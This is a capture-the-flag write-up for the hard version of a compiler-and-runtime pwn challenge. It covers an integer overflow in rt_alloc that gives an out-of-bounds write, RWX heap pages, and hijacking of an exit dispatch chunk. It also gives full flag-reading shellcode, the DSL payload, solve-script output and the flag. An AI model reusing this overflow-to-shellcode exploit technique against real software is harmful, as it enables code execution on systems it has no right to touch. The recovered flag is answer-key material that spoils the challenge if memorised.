compiler? I barely know her! [Hard Version] runtime overflow to shellcode

pwn
flag d4rk{sh3llc0de_1n_th3_b1g_26_132314}c0de

d4rk{sh3llc0de_1n_th3_b1g_26_132314}c0de

Summary

The service is an "optimizing compiler": you submit a tiny DSL program (dslc → LLVM IR), the server links it against runtime.o with an LLVM-22 pass plugin (compilerIBarelyKnowHerHard.so) and runs the result inside a seccomp sandbox. Three facts, all recovered by reading the handout, chain into code execution:

  1. Runtime integer overflow in rt_alloc (the actual bug). runtime.o::rt_alloc(nelems) computes size = nelems * 8 (mod 2⁶⁴) but stores the raw nelems as the descriptor length. Choosing nelems = 0x2000000000000000 (2⁶¹) makes nelems*8 = 2⁶⁴ ≡ 0, so the data allocation is malloc(1) while desc->len becomes 2⁶¹. Every b[i] access is bounds-checked against desc->len, so b[i] for huge i is "in bounds" → arbitrary read/write relative to the tiny heap chunk.
  2. Buffer data pages are RWX. rt_alloc calls make_rwx(data, size) ( RWX) on the data pointer of every buffer.
  3. register(f) gives a code-execution hook, and rt_finish calls the dispatch chunk itself. Hard rt_register mallocs a 0x100-byte chunk (g_dispatch), zeroes it, sets byte 0 to 0xc3 (ret) and make_rwxs it. At exit rt_finish does call QWORD PTR [&g_dispatch] — i.e. it jumps to the address of the g_dispatch chunk (a ret stub in the hard build). Overwrite the chunk's bytes with shellcode and the exit path executes it.

The sandbox does not block the I/O we need: the 35-instruction seccomp filter (extracted from runtime.o .rodata) only allows read/write/open/openat/close/lseek/fstat/newfstatat/mmap/ munmap/mprotect/brk/rt_sigreturn/exit/exit_group and KILL_PROCESSes everything else. open

  • read + write are permitted, so shellcode can read flag.txt (the handler cps it into the program's cwd) with plain syscalls.

Solution / Exploit

1. The overflow in rt_alloc

rt_alloc(nelems):

output
size = nelems * 8          # wraps mod 2^64
data = malloc(size)        # or arena bump
desc->len = nelems         # RAW, un-truncated

With nelems = 0x2000000000000000 = 2^61:

output
2^61 * 8 = 2^64 ≡ 0        -> malloc(1)
desc->len = 2^61           -> every b[i] for i < 2^61 is "in bounds"

dslc emits the bounds check as select ok, data+8*i, inttoptr(1) — i.e. once len is huge the access is genuinely unchecked. So a buffer of length 2⁶¹ is a free arbitrary read/write window starting at a 1-byte heap chunk.

2. RWX buffer pages

rt_alloc calls make_rwx(data, size) on the data pointer of every buffer, so the pages behind data are executable as well as writable. That is what makes "write shellcode into the overflow window, then jump to it" viable.

3. The register / rt_finish hook

Hard rt_register:

  • mallocs a 0x100-byte chunk g_dispatch,
  • zeroes it,
  • sets byte 0 to 0xc3 (ret),
  • make_rwxs it.

At exit rt_finish does call QWORD PTR [&g_dispatch] — it jumps to the address of the g_dispatch chunk, not to *(void**)chunk. This was the key subtlety: an earlier harness (comphard-harness3) that overwrote the chunk with a pointer segfaulted, which disproved the *(g_dispatch) reading and proved the chunk-address reading.

4. Heap layout

Deterministic; no frees ⇒ contiguous top-chunk allocations:

output
D = data_b   (alloc(2^61) -> 0x20-byte data chunk, len = 2^61)
D+0x20 = desc_c   (alloc(8))
D+0x40 = data_c
D+0x90 = g_dispatch  payload   ->  b[18]   (validated locally with the target libc)

So b[18..25] are exactly the 64 bytes of the g_dispatch chunk. Writing the shellcode there is all that is needed; rt_finish then jumps into it. The let c = alloc(8); keeps g_dispatch at index 18.

5. Shellcode

64 bytes: open("flag.txt",0); read(fd,rsp,0x100); write(1,rsp,n); exit(0) (comphard-mkshell.py):

python
1sc = bytes([
2    0x48,0x31,0xc0,                    # xor rax,rax
3    0x50,                              # push rax           (nul terminator)
4    0x48,0xbb,0x66,0x6c,0x61,0x67,0x2e,0x74,0x78,0x74,  # movabs rbx,"flag.txt"
5    0x53,                              # push rbx
6    0x48,0x89,0xe7,                    # mov rdi,rsp        (path)
7    0x48,0x31,0xf6,                    # xor rsi,rsi
8    0x48,0x31,0xd2,                    # xor rdx,rdx
9    0xb0,0x02,                         # mov al,2           SYS_open
10    0x0f,0x05,                         # syscall
11    0x89,0xc7,                         # mov edi,eax        fd
12    0x48,0x89,0xe6,                    # mov rsi,rsp        buf
13    0xba,0x00,0x01,0x00,0x00,          # mov edx,0x100
14    0x48,0x31,0xc0,                    # xor rax,rax        SYS_read
15    0x0f,0x05,                         # syscall
16    0x89,0xc2,                         # mov edx,eax        n
17    0xbf,0x01,0x00,0x00,0x00,          # mov edi,1
18    0xb0,0x01,                         # mov al,1           SYS_write
19    0x0f,0x05,                         # syscall
20    0xb0,0x3c,                         # mov al,60          SYS_exit
21    0x31,0xff,                         # xor edi,edi
22    0x0f,0x05,                         # syscall
23])

The 64 bytes are packed as eight i64s and emitted as b[18..25] = <value> statements.

6. Payload (comphard-payload.dsl)

output
fn f() { return 0; }
let b = alloc(0x2000000000000000);   // len = 2^61, but only 1 byte allocated -> OOB window
let c = alloc(8);                    // keeps g_dispatch at index 18
register(f);                         // malloc + make_rwx the g_dispatch (0x100) chunk
b[18] = 7811136522987516232;
b[19] = 5211637254491891553;
b[20] = -3300776829659846775;
b[21] = -8554368100880940368;
b[22] = 3551088306198461158;
b[23] = 492317220081600;
b[24] = 4373000800187711488;
b[25] = -8029759187366969551;        // shellcode INTO g_dispatch

comphard-solve.py builds these qwords from the shellcode bytes and (with send) drives the socket; the generated comphard-payload.ll shows the select ok, data+8*i, inttoptr(1) stores at indices 18..25.

7. Live proof (twice, gentle — one submit per connection)

output
$ python3 comphard-send2.py
banner   b'== h4ckc0n :: compiler I barely know her ==\n  1) easy\n  2) hard\nchoice> '
after2   b'== optimizing compiler :: HARD ==\nSend your .dsl program, then a line with __EOF__ ...'
RAW OUTPUT: b'== compiling ==\n== running ==\nd4rk{sh3llc0de_1n_th3_b1g_26_132314}c0de\n== done ==\n'

Full transcript (comphard-remote-transcript.txt):

output
[remote] == h4ckc0n :: compiler I barely know her ==
  1) easy
  2) hard
choice>
[remote after '2'] == optimizing compiler :: HARD ==
Send your .dsl program, then a line with __EOF__ (max 65536 bytes):

[remote output] == compiling ==
== running ==
d4rk{sh3llc0de_1n_th3_b1g_26_132314}c0de
== done ==

8. Offline proof of every primitive

Using the target libc.so.6 + ld-linux from the handout:

output
$ gcc -O0 -o comphard-harness2 comphard-harness2.c handout/runtime.o
$ ./handout/ld-linux-x86-64.so.2 --library-path handout ./comphard-harness2
D=0x5555706b72c0  data_c=0x5555706b7300
b[ 4] = 0x00005555706b7300      # data_c
b[18] = 0x00000000000000c3      # g_dispatch chunk first qword (the ret stub)

$ gcc -O0 -o comphard-h9 comphard-h9.c handout/runtime.o   # shellcode written into g_dispatch
$ ./handout/ld-linux-x86-64.so.2 --library-path handout ./comphard-h9
d4rk{LOCAL_TEST_FLAG_comphard}

comphard-harness3, which instead overwrote the chunk with a pointer, segfaulted — this disproved the *(g_dispatch) reading and proved rt_finish jumps to the chunk address.

Flag(s)

output
d4rk{sh3llc0de_1n_th3_b1g_26_132314}c0de

Exact bytes on the wire, reproduced twice: d4rk{sh3llc0de_1n_th3_b1g_26_132314}c0de\n. The runtime flag.txt really does carry the trailing c0de after the closing brace — confirmed from a repr() of the raw socket output, not a paste artifact.

Notes / Pitfalls

  • rt_finish calls the chunk address, not the pointer in it. The obvious reading (jmp *(void**)g_dispatch) is wrong for the hard build; the harness that assumed it segfaulted. The fix is to write the shellcode into the chunk, not a pointer to it.
  • The LLVM-22 plugin is a decoy here. It is a forward store→load value propagator (compilerIBarelyKnowHer...Forwarder::runOnBlock) that omits call-clobber invalidation; it is not needed for this chain (the exploit lives in the runtime), so no plugin-specific trick was required.
  • Sandbox is permissive enough. The seccomp filter allows open/read/write, so no /ret2libc gymnastics are needed — plain syscalls read the flag.
  • Layout is deterministic. No frees means contiguous top-chunk allocations; b[18] is always the g_dispatch chunk. The alloc(8) after the big alloc is what keeps the index at 18.
  • One submit per connection. The remote was exercised gently (twice total, one submit per connection) to avoid hammering the shared service.